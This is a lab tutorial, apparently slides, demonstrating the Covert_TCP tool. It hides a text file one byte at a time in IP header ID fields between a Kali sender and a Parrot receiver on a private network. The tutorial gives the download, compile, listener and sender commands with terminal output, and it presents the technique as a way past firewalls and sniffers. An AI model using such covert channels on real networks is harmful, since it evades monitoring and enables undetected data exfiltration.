

Covert Communication

@mmar



Networks use network access control permissions to permit or deny the traffic flowing through them. Covert channels can be created by inserting data into the unused fields of protocol headers. There are many unused or misused fields in TCP or IP over which data can be sent to bypass firewalls. The Covert_TCP program manipulates the TCP/IP header of the data packets to send a file one byte at a time from any host to a destination. It can act like a server as well as a client and can be used to hide the data transmitted inside an IP header. This is useful when bypassing firewalls and sending data with legitimate-looking packets that contain no data for sniffers to analyze.



Covert_TCP



Step-1

- ❖ Download the tool on both Kali Linux (sender) and Parrot OS (Receiver)

```
wget https://raw.githubusercontent.com/cudeso/security-tools/master/networktools/covert/covert_tcp.c
```

```
(kali@kali)-[~]
└─$ wget wget https://raw.githubusercontent.com/cudeso/security-tools/master/networktools/covert/covert_tcp.c
--2023-03-16 11:49:03-- http://wget/
Resolving wget (wget)... failed: Name or service not known.
wget: unable to resolve host address 'wget'
--2023-03-16 11:49:03-- https://raw.githubusercontent.com/cudeso/security-tools/master/networktools/covert/covert_tcp.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 20854 (20K) [text/plain]
Saving to: 'covert_tcp.c'

covert_tcp.c          100%[=====>] 20.37K  --.-KB/s   in 0.05s

2023-03-16 11:49:04 (428 KB/s) - 'covert_tcp.c' saved [20854/20854]

FINISHED --2023-03-16 11:49:04--
Total wall clock time: 0.9s
Downloaded: 1 files, 20K in 0.05s (428 KB/s)
```

Step-2

❖ Compile the tool on both Machines

```
sudo apt install gcc
```

```
cc -o covert_tcp covert_tcp.c
```

```
(kali㉿kali)-[~]
└─$ cc -o covert_tcp covert_tcp.c
covert_tcp.c:45:1: warning: return type defaults to 'int' [-Wimplicit-int]
  45 | main(int argc, char **argv)
     | ^~~~

(kali㉿kali)-[~]
└─$ ls
covert_tcp  covert_tcp.c  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
```

Step-3

❖ Start the listener on Parrot OS

```
sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 8888 -  
dest_port 9999 -server -file /home/user/msg1.txt
```

- ✓ 192.168.18.144 is the IP of Parrot OS
- ✓ 192.168.18.95 is the IP of Sender (Kali)
- ✓ 8888 is local listening port
- ✓ 9999 is the remote port of kali
- ✓ -server puts covert_tcp in listener mode and msg1.txt is the destination file where message will be saved

Step-4

❖ Send the Message from Kali machine

```
sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 9999 -  
dest_port 8888 -file /home/kali/msg.txt
```

- ✓ 192.168.18.144 is the IP of Parrot OS
- ✓ 192.168.18.95 is the IP of Sender (Kali)
- ✓ 8888 is destination listening port on parrot
- ✓ 9999 is the local port of kali

Communication

- ❖ Our message file will be sent to the destination and saved in the designated directory

```
kali@kali: ~ x kali@kali: ~ x kali@kali: ~ x
(kali@kali)~
└─$ sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 9999 -dest_port 8888 -file /home/kali/msg.txt
Covert TCP 1.0 (c)1996 Craig H. Rowland (crowland@psionic.com)
Not for commercial use without permission.
Destination Host: 192.168.18.144
Source Host : 192.168.18.95
Originating Port: 9999
Destination Port: 8888
Encoded Filename: /home/kali/msg.txt
Encoding Type : IP ID

Client Mode: Sending data.

Sending Data: s
Sending Data: e
Sending Data: c
Sending Data: r
Sending Data: e
Sending Data: t
Sending Data:
Sending Data: m
Sending Data: e
Sending Data: s
Sending Data: s
Sending Data: a
Sending Data: g
Sending Data: e
Sending Data:
```

```
Applications Places System Thu Mar 16, 12:01
Parrot Terminal
File Edit View Search Terminal Tabs Help
Parrot Terminal
Parrot Terminal x Parrot Terminal x
[user@parrot]~
└─$ sudo ./covert_tcp -dest 192.168.18.144 -source 192.168.18.95 -source_port 8888 -dest_port 9999 -server -file /home/user/msg1.txt
Covert TCP 1.0 (c)1996 Craig H. Rowland (crowland@psionic.com)
Not for commercial use without permission.
Listening for data from IP: 192.168.18.95
Listening for data bound for local port: 8888
Decoded Filename: /home/user/msg1.txt
Decoding Type Is: IP packet ID

Install Parrot
Server Mode: Listening for data.

Receiving Data: s
Receiving Data: e
Receiving Data: c
Receiving Data: r
Receiving Data: e
```



DEMO



THANKS